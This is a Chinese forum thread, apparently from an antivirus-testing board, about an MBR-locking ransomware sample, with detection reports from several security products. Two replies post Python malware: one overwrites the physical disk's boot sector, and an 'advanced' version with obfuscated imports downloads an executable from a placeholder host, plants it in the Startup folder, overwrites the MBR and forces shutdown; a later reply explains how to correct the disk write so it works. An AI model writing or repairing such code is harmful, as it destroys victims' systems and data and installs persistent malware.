MBR勒索

dght432

类型:木马-Win32/Trojan.Foreign.HgIAS8EA
描述:木马是一种伪装成正常文件的恶意软件，会盗取您的帐号、密码等隐私资料。
扫描引擎:云安全引擎
文件路径:C:\Users\360全家桶\Downloads\MBRLocker\da87951c508b1365b01cf897b7656e28fe74e94dcdadd57a178704949b34855d
文件大小:696K (712,704 字节)
文件版本:1.0.0.0
文件描述:易语言程序
文件指纹（MD5）:295649234a333a5a73be70231ddab489
处理建议:隔离文件

颜辞

paul846586 发表于 2023-2-5 18:41
奇安信miss

罕遇老乡

kuroandsan

wwwab

python无名氏 发表于 2023-2-5 19:12
貌似可以，用的实体机，没试过，也不敢试不过亲测如果是rb+以管理员身份运行是可以读取到的[:01: ...

我曾经也写过一个，同样也是没敢试，不知道能不能跑

1. newmbr="your computer is dying"
   
2. with open("\\\\..\\PhysicalDrive0","w",encoding="utf-8") as f:
   
3.     f.write(newmbr)
   
4.     f.close()

复制代码

还有进阶版——

1. a='o'+'s'
   
2. b=__import__(a)
   
3. c='r'+'e'+'q'+'u'+'e'+'s'+'t'+'s'
   
4. d=__import__(c)
   
5. import tkinter
   
6. import tkinter.messagebox as msgbox
   
7. u-r-l='http://xxx.com/1.exe'
   
8. 
   
9. msgbox.showinfo('hahaha~','你的电脑没啦！')
   
10. 
    
11. r=d.get(u-r-l)
    
12. with open('C:\ProgramData\1.exe','wb') as f:
    
13.   f.write(r.content)
    
14.   f.close
    
15. 
    
16. b.system('copy C:\ProgramData\1.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp')
    
17. 
    
18. newm-b-r="your computer is dying"
    
19. with open("\\\\..\\PhysicalDrive0","w",encoding="utf-8") as f:
    
20.    f.write(newm-b-r)
    
21.    f.close()
    
22. 
    
23. b.system('shutdown -s -t 0')

复制代码

anthonyqian

eset
日志
da87951c508b1365b01cf897b7656e28fe74e94dcdadd57a178704949b34855d - Win32/MBRlock.AQ 特洛伊木马 的变量 - 已通过删除清除 [1]

熊小度

腾管 kill

python无名氏

wwwab 发表于 2023-2-5 19:58
我曾经也写过一个，同样也是没敢试，不知道能不能跑还有进阶版——

写入底层扇区需要用newm-b-r=b'xxxxxxx',再把w换成wb才行话说用newm-b-r貌似不能当变量吧可以改成newm_b_r